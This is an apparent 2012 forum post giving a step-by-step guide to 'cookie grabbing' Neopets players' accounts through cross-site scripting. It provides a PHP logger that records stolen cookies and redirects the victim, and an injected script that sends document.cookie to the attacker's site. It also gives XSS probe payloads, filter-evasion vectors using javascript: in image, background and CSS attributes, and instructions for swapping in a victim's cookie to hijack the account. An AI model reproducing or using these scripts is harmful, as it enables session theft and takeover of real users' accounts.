Results 1 to 10 of 19

Thread: [Guide] Chocolate Chip, Extra Rich: How to Cookie Grab

Threaded View

  1. #1

    Joined
    Jan 2012
    Posts
    104
    Thanks
    66
    Thanked
    129/23
    DL/UL
    7/0
    Mentioned
    33 times
    Time Online
    1d 3h 46m
    Avg. Time Online
    N/A

    [Guide] Chocolate Chip, Extra Rich: How to Cookie Grab


    First off, thank you to (you need an account to see links) for giving me a couple accounts to cookie grab.

    Secondly, thank you to Kyo for his expertise; most of what I've learned is from him. The rest, I learned along the way. Now, onto the guide.

    Thirdly, yes. You really are looking at a cookie grabbing guide.

    Cross-site scripting (XSS) is possible when a site has insecure coding. When websites allow us to interact with them (e.g. search box, comment boxes, etc) and don't keep it secure, they render themselves vulnerable to code injection.

    Many CGers take advantage of this and employ PHP and Javascript to snag the cookies. XSS itself isn't needed to CG, however but is just a step away from PHP/JS.


    Requirements
    Basic knowledge of HTML
    A website host (nearlyfreespeech, tech.coop, netfirms, etc)


    Writing the script
    People use PHP to retrieve the cookies and record it to a text file. A PHP script begins with <?php and ends with ?>.

    Code:
    <?php
    header("Location: http://www.neopets.com/index.phtml");
    // This is a redirect link takes the user to the specified link 
    // after they view the page the cookie-grabbing code is on.
    
    $cookie = $_GET['cookie'];
    // This line sends data to the PHP file using the GET command. 
    // The data is named ‘cookie’.
    
    $file = fopen('log.txt', 'a'); 
    // This opens a file named log.txt. 
    
    fwrite($file , 'cookie: '.$cookie); 
     // This writes the ‘cookie’ to the file
    
    fwrite($file , "\r\n"); 
    // This is a line break.
    
    fclose($file);
    // This closes the file.
    ?>
    Sending anyone the link to your website with the script in it (1) snags their cookies (2) records in a log (3) redirects them to whatever link specified.


    Finding an exploit
    In any place where you can input a value, add <script>alert('1')</script> to see if the site allows javascript. If you get a popup, then the site is vulnerable.

    (Note: The demonstrated exploit has been patched.)

    Take for example the below and its corresponding result:
    Code:
    http://www.neopets.com/coregtest.php?wat=<script>alert(1)</script>
    Bingo, a ‘1’ pops up.



    Now try <script>alert(document.cookie)</script>
    Code:
    http://www.neopets.com/coregtest.php?wat=<script>alert(document.cookie)</script>
    Now you should have a popup that shows you your cookies. The highlighted portion is the neologin, which is the only information we need.



    You don’t actually write the data to the server unless you inject a script that modifies the page on the server’s end. The only thing you change is how the dynamic page acts on your end. As a result when you send someone else the page, you have to send him or her the link with the injection already in that page.

    Using this script will grab someone else’s cookies and log it on your site.
    Code:
    <script>document.location = 'http://www.yourwebsite.com/cger.php?cookie=' + escape(document.cookie);</script>
    Unfortunately, document.cookie is blocked on Neopets. There are/have been ways around this and alternatives (not listed).


    Using the Cookies
    Now that you’ve got their cookies recorded, you need to use them. This is done by replacing your Neopets cookie with ttheir cookie. Fortunately, we have addons to make it easy for us to do that.

    (you need an account to see links)
    (you need an account to see links)
    FIREFOX VERSION:

    CHROME VERSION:

    How Did People Place Cookie Grabbers Onsite?

    Above, we discussed CGing that involved having someone click on a link that took them to an offsite page to snag their cookies. But how did people CG in the last petpage scare? This was mostly due to an error on TNT's part; you were able to link offsite by manipulating the battledome stats. This, of course, has since been patched due to rampant abuse.
    Code:
    <a href="http%#BD_LOSTA//google.com">TEXT</a>
    Once upon a time in a very distant past, you were able to cookie grab simply with an image, before the word "javascript" was blocked.
    Code:
    <img src="javascript:alert('1');">
    In a similar fashion...
    Code:
    <body background="javascript:alert('1')">
    Getting into CSS a bit...
    Code:
    <div style="background-image: url(javascript:alert('1'))">
    If you try these now though, you'll notice that TNT has banned the word "javascript". Even its hex form (6a6176617363726970743a616c6572742827312729) and its ASCII form (106,97,118,97,115,99,114,105,112,116,58,97,108,10 1,114,116,40,39,49,39,41) are blocked. Still. There are ways. You just have to do some extra research, gain experience, and be clever.


    Conclusion
    Written by Leet. This is a basic guide on the steps involved and you could very well start CGing people by linking them offsite. Additionally, it seeks to educate you on past methods and enlighten you on the flexibility of Javascript placement. Keep in mind, the biggest issue is actually getting a working onsite CGer.

    Of note, there have been rumors that someone is working on a cookie grabber where simply clicking on a thread in the BD Chat/Pound Chat/Trade Chat gets you CG'd... cough. But alas, it's simply a rumor.

    Finally, I won't help you cookie grab others or write a cookie grabber for you. You can use Google if you want to learn more. Suggestions for improvement are happily taken. Did I make any mistakes? Correct me.

    And since you were so patient and hardworking...
    Last edited by Leet; 01-14-2012 at 06:24 AM.

  2. The Following 19 Users Say Thank You to Leet For This Useful Post:

    Ashton (01-13-2012),Emiley (01-13-2012),fairydust201 (10-13-2012),hiddenwaybelow (01-13-2012),Irohh (11-30-2014),jackingskibf (02-20-2012),Kad (01-13-2012),kooldude888 (01-17-2012),Lindsay (11-10-2014),Mango (01-13-2012),Mike (01-13-2012),Monark (02-17-2012),n00ne (02-16-2012),npm (01-13-2012),Reemer (01-13-2012),Slasher (02-16-2012),Valent (07-12-2014),Venus (01-13-2012),Yue (01-17-2012)

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •